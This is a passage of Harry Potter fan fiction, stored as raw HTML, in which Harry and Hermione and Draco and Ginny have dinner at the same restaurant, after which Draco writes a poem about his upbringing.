tonight.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>Harry looked at the restaurant as he stepped out of the carriage. Luckily the horseless carriages traveled back and forth between Hogwarts and school all day on Saturday. This was their means of getting back as well. He didn&#8217;t fancy a trip through that long tunnel from the back of Zonko&#8217;s. </p>\n\n<p>&nbsp;</p>\n\n<p>Walking into the restaurant, Harry smiled at the waiter at the small podium at the door. &#8220;Table for two please. Name&#8217;s Harry. Harry Potter.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>The waiter noticed his scar and nodded with a smile. &#8220;Yes, we have been instructed to always keep a table open for you Mr. Potter. Please, right this way.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry blinked, but followed him anyway. &#8216;<i>Wow that was easy,</i>&#8217; he mused to himself, feeling Hermione take his arm in hers. Looking down at her, he got a smile and a wink. Harry grinned at her before making a stupid face and making her giggle. Such was the care free way of Harold James Potter.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;re table, sir, madam.&#8221; He moved his hand to show a nice looking booth. Next to it was a small wall divider with several nice looking flowers and other decorative plant life. &#8220;Here are your menus.&#8221; He continued when they were seated. &#8220;Someone will be with you shortly to take your drink orders.&#8221;</p>\n\n<p>The waiter walked back to the door to meet another couple who had just come in.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Two. We have reservations,&#8221; the man said with a grin. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Name, sir?&#8221; he asked, looking at the list of tonight&#8217;s customers.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Malfoy, Draco.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>A quick scan. &#8220;I&#8217;m sorry sir; I do not see your name on the list.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Are you sure?&#8221; He asked, stepping forward to look. &#8220;There it is, see?&#8221; He discreetly placed several galleons on the podium. The man looked at him indignantly for a moment. Draco frowned and opened his hand up more, allowing more pieces to fall with the others. The look on the young man&#8217;s face showed he was clearly upset about the amount for the bribe. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh, yes sir, Mr. Malfoy. Sorry about that. Please, this way.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco turned to Ginny and gave a small shrug. &#8220;Must be going blind.&#8221; He smirked at the waiter&#8217;s back. &#8220;He missed it first time through.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh hush, you bribed him.&#8221; Ginny took his arm and followed.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Wha? Did not!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>She looked up at him and smiled. &#8220;You&#8217;re sweet.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>He felt his cheeks grow a little warm as he looked away. &#8220;Not really&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>Harry nodded at the waiter as he left and turned back to Hermione. &#8220;I hope nothing bad happens this time. Who would have guessed Voldemort liked French cuisine?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>His date laughed lightly at him and slid her foot next to his and played with the cuff of his pants. &#8220;I always thought he might like Chinese take out myself. Looks like the kind.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hey, I <i>love</i> Chinese! Eat it all the time when I&#8217;m at the Dursley&#8217;s. I met the delivery guy once when he came to give food to Dudley. Turns out he&#8217;s a wizard working for the summer. He recognized me and since then he let me owl in orders with money and he would magic it up to my window.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Not abusing your name sake are we now?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>He chuckled. &#8220;I can&#8217;t help it. You know I don&#8217;t like to use it to my advantage, but, hey, they starve me at that place. The only time I can <i>eat</i> is at Hogwarts.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;If you eat like that here, I swear I&#8217;ll&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hey, hey, don&#8217;t worry don&#8217;t worry.&#8221; He held up his hands as if to ward her off. &#8220;I ate a lot before we came so I&#8217;ll just order a normal amount of food.&#8221; He looked at the menu. &#8220;Hmmm&#8230;.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;A normal amount of food?&#8221; she asked, looking over hers as well. When the waiter came over for their drinks a moment ago he had asked them to please not cast any magic. After the incident, they did not want any spells being cast in the restaurant. &#8220;And what might that be?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry considered this a moment, hand on his jacket pocket over his necklace. &#8220;Everything on the left side looks good.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;<i>Harry</i>!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry laughed at her while some people sat down on the table next to them, just past the greenery. The two talked for a bit before ordering drinks and getting the menus. A moment later Harry heard a familiar voice. &#8220;I can&#8217;t read French&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It&#8217;s not too hard,&#8221; another voice said.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Will you order for me then?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Um, yeah.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry looked to his left and gaped at the part viewable through the leaves. &#8216;<i>Draco</i>?&#8217;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco laughed nervously and looked around to think a moment. It was then that he spotted the face of Harry, mostly covered by leaves. &#8220;Harry!?&#8221; he asked silently.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Draco?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8230; Have to go to the restroom right quick, I&#8217;ll be right back.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hermione, excuse me for a moment?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What are <i>you</i> doing here!?&#8221; Draco demanded when Harry stepped into the loo. &#8220;Did Ron tell you to monitor me? Huh!? <i>Did he</i>!?&#8221; He moved up close to him, so their noses were almost touching. &#8220;SO help me, Potter, if you&#8217;re here to ruin my night&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry took a step back and fought the urge to punch him. &#8220;Malfoy, you&#8217;re an idiot,&#8221; he told him, glaring as he put his hands in his pockets. &#8220;I made this date with Hermione, not even knowing you were coming here.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh!&#8221; He instantly looked embarrassed, but covered it quickly. &#8220;I see.&#8221; He didn&#8217;t apologize, however. &#8220;So, nice night for a date huh?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;How did you get in?&#8221; Harry wondered. &#8220;I heard it was near impossible.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I had to sacrifice more gold than I would have liked, but I did it.&#8221; He gave a casual shrug. &#8220;I stole enough from my house that I can afford a few outings.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry didn&#8217;t press the topic. &#8220;Well now that I know how you got here, I&#8217;m going back to my date.&#8221; He turned to leave. &#8220;See ya.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry, Wait!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>He turned, looking over his shoulder. &#8220;What is it?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>He clearly looked like he didn&#8217;t want to say it. &#8220;I need a favour.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;A favour?&#8221; Harry eyed him skeptivly. &#8220;What kind of favour?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I need to know what Ginny likes so I can order for her.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh.&#8221; A grin slapped across his face. &#8220;Draco Malfoy is asking <i>me</i> for a favour,&#8221; he mused, making the boy in front of him cringe. &#8220;And if I don&#8217;t answer, he will look bad in front of my best friend&#8217;s little sister.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco clenched his fist. &#8220;What do you want?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh nothing.&#8221; Harry replied. &#8220;Just knowing you had to ask is enough to make up for everything you ever did to me in the past.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco gave him a clear look of meaningful death. &#8220;God, I hate you.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No you don&#8217;t. Anyway, get her linguine. She&#8217;ll love it.&#8221; Draco nodded and moved past him. &#8220;Oh, wait.&#8221; This time Draco turned around to look at him. &#8220;Make sure to get the white sauce, all right? The red is too spicy.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco nodded. &#8220;Thanks.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hey, anytime.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>The two returned to their respective dates, a little closer to friends than battle partners. </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>Harry placed a bite in his mouth and chewed thoughtfully, thinking about the question he was just asked. &#8220;I dunno, Herms.&#8221; He admitted. &#8220;I haven&#8217;t studied for the N.E.W.T. s as much as I would have liked too, but when I do study, you always keep me on top of things.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Don&#8217;t tell me you still haven&#8217;t studied any besides the time we spend together in the library?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>He blushed. &#8220;Um, no?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry, from now on we&#8217;re going to study an hour before we go to sleep. <i>Every. Night.</i>&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>He sighed and picked at his food, no longer as hungry as he was a little while ago. &#8220;Yes ma&#8217;am.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;We&#8217;ll start Monday.&#8221; She decided. &#8220;We fight after the N.W.O. and Hokage. That gives us a long time to work on things. &nbsp;Oh, and Harry, please try not to get into trouble, okay? Last night I wanted to study a little with you, but you were in detention. What was it again?&#8221; she asked, although she already knew.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;For &#8216;throwing an unauthorized party&#8217; or something like that,&#8221; he mumbled, stuffing some food into his mouth to help ease the memory. &#8220;I had to clean things in the Hospital Wing. By the almighty Tuesday, I <i>hate</i> that.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes, yes, we know, we know.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Did you hear about Snape?&#8221; Ginny asked while they ate. &#8220;They say he&#8217;s really mad about all the hand to hand going on in the tournament.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I heard.&#8221; Draco agreed. &#8220;He&#8217;s a nice guy, he really is, on the inside, but way close-minded.&#8221; He considered this. &#8220;Like I used to be. I can see why he thinks like he does. I, for one, would have <i>never</i> even <i>considered</i> using a muggle method of doing something last year.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What made you change your mind?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco turned the ring around his finger, a nervous habit he picked up sometime over the course of wearing it. &#8220;Let&#8217;s just say a friend forced me to see things in a different light.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;A friend?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah.&#8221; He let go of his ring and ate a bite of his food. &#8220;She helped me out a lot. Showed me that muggles can do things as well as we can. They may not be magical, but they are one smart race on some points. They invent things to work magic for them.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Magic? Muggles? No way!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Not <i>real</i> magic, so to speak&#8230; Let&#8217;s see, an example that I can use&#8230;I&#8217;m not real good at muggle things just yet, I just know a few that my friend told me. Ah, here&#8217;s something. You know screws? Both muggle and magical people use them to put things like, doors for instance, into walls?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny nodded slowly. &#8220;Yeah.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;And how do we do that?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;A turning spell.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Exactly. We wizards use our wands to point at things and make them work. Muggle have this thing called a &#8216;screwdriver&#8217; they use to do it. They even have these special ones that turn on their own by using &#8216;battery power&#8217;, whatever that is.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Draco Malfoy, talking about muggles, I would of never seen it.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>He blushed. &#8220;Well, the point is, after realizing that even they have skill to invent things to help them when they can&#8217;t do something, I gained enough respect for them to go deeper into it. With a little prodding from my friend, I came to realize they are an equal race, and in some ways, better.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Better?&#8221; She prompted, loving that he was talking so much.</p>\n\n<p>&nbsp;</p>\n\n<p>He went on. &#8220;Yeah. Did you know that if someone&#8217;s heart isn&#8217;t working right, they can put a new one in?&#8221; Ginny&#8217;s eyes went wide at this. &#8220;Yeah, we wizards can&#8217;t help that because the heart is too sensitive to be tampered with by potions and things. In the muggle world, they can have a donor give their heart to this ill person&#8230; And they do it too, out of pure goodness&#8230;.of the heart, so to speak.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny giggled. &#8220;I see. No wonder Daddy loves learning about them so much.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>A nod. &#8220;And the martial arts are just&#8230; outstanding.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny giggled. &#8220;I love the Muggle Martial Arts class.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;The MMA was a good idea. I know for a fact that dark wizards under Voldemort can&#8217;t do any hand to hand.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You know for a <i>fact</i>?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Er, well&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>She quickly changed the subject. &#8220;Thanks again for taking me here.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco looked down at their plates, realizing they were done quite some time ago and he never realized it. &#8220;Oh, yeah. Yeah! It was my pleasure. I hope you liked it?&#8221; He motioned for the check and soon got it.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I loved it. Next time, don&#8217;t spend so much money on me ,though. I don&#8217;t know how to thank you for it all. It&#8217;s kind of overwhelming.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I wanted to make a good first impression.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>The two stood up after Draco paid and left a nice tip. &#8220;Well you made it all right. Want to go out again sometime?&#8221; She took his arm and walked with him out of the place. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah. How about weekend after next, since the next match is this coming weekend?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny smiled up at him and nodded.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Thanks for walking me to my room.&#8221; Ginny said, turning to look at him. They were in front of the picture of the Fat Lady now. &#8220;I had a wonderful time, Draco.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m glad.&#8221; He gave her a true smile, a rarity. &#8220;I&#8217;ll see you tomorrow.&#8221; He took a step back to turn , but found Ginny&#8217;s arms around his neck and standing on her tip toes. Her eyes were closed and lips slightly parted. She looked so expectant, waiting for him to kiss her. And he did. On her hand after taking it away from his neck. Her eyes opened and looked fearful, as if she had done something wrong. Her mouth opened to speak, but she found one of his fingers was pressed to it. He was smiling brightly; after all, she had done this to him so many times before. &#8220;I&#8217;m not ready,&#8221; he told her truthfully. &#8220;I&#8217;m scared about these feelings, and I need some time to think on them some more, okay?&#8221; He gave her a pleading look now. &#8220;I don&#8217;t know how to love. You have to know that if we start dating.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny reached up and took his hand, kissing it. &#8220;I understand.&#8221; She brought her free hand up to run through his hair. &#8220;I&#8217;ll show you how, don&#8217;t worry Draco. I&#8217;ll stand by you and show you how to live a normal life, away from what you were brought up with. I just hope someday you can tell me how exactly you were brought up. I know it must have been hard&#8230;&#8221; She smiled at him one last time before taking a step back and telling the password to the portrait and going in.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco stood there for a moment, looking at his hand with a small smile. &#8220;How I was brought up&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;<i>Are you going to write, Draco-hon?</i>&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8216;<i>Yeah.</i>&#8217; Draco took out a parchment and a quill. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;<i>I&#8217;m glad. It really does help out. Don&#8217;t destroy it this time, you may want it for later.&#8221;</i></p>\n\n<p>&nbsp;</p>\n\n<p>&#8216;<i>I don&#8217;t know about that, but if you insist.</i>&#8217;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;<i>I do.</i>&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco thought about the words Ginny spoke to him. &#8220;My life&#8230;huh?&#8221; he asked aloud, lighting a candle and sitting by the window. His quill started to dance across the page, leaving neat handwriting. His thoughts formed into words and words into a natural rhyme as he went.</p>\n\n<p>&nbsp;</p> What I\'ve felt What I\'ve known Never shined through in what I\'ve shown Never be Never see Won\'t see what might have been <p>&nbsp;</p> New blood joins this earth And quickly he\'s subdued Through constant pained disgrace The young boy learns their rules &nbsp;With time, the child draws in This whipping boy done wrong Deprived of all his thoughts The young man struggles on and on, he\'s known A vow unto his own That never from this day His will they\'ll take away &nbsp;What I\'ve felt What I\'ve known Never shined through in what I\'ve shown Never free Never me So I dub thee &#8220;Unforgiven&#8221; &nbsp;They dedicate their lives To running all of his He tries to please them all This bitter man he is &nbsp;Throughout his life the same He\'s battled constantly This fight he cannot win A tired man they see no longer cares The old man then prepares To die regretfully That old man here is me &nbsp;You labeled me I\'ll label you So I dub thee &#8220;Unforgiven&#8221; <p>&nbsp;</p>\n\n<p>Draco looked at the parchment and smiled sadly down at it. &#8220;Am I such a loser?&#8221; He debated burning it, but shook his head. &#8220;Nah, it&#8217;s the past. I&#8217;ve beaten them now. I still have my will.&#8221; He folded the paper and slid it under the bed to his mattress. &#8220;They&#8217;ll never take my will.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>And he smiled.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~*two weeks later*~</p>\n\n<p>&nbsp;</p>\n\n<p>Harry took a deep breath as he slid his hand into his glove and slowly let it out while smoothing the fit. He 